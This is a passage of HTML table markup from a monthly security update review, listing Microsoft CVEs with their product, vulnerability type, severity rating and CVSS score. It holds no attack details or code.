  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
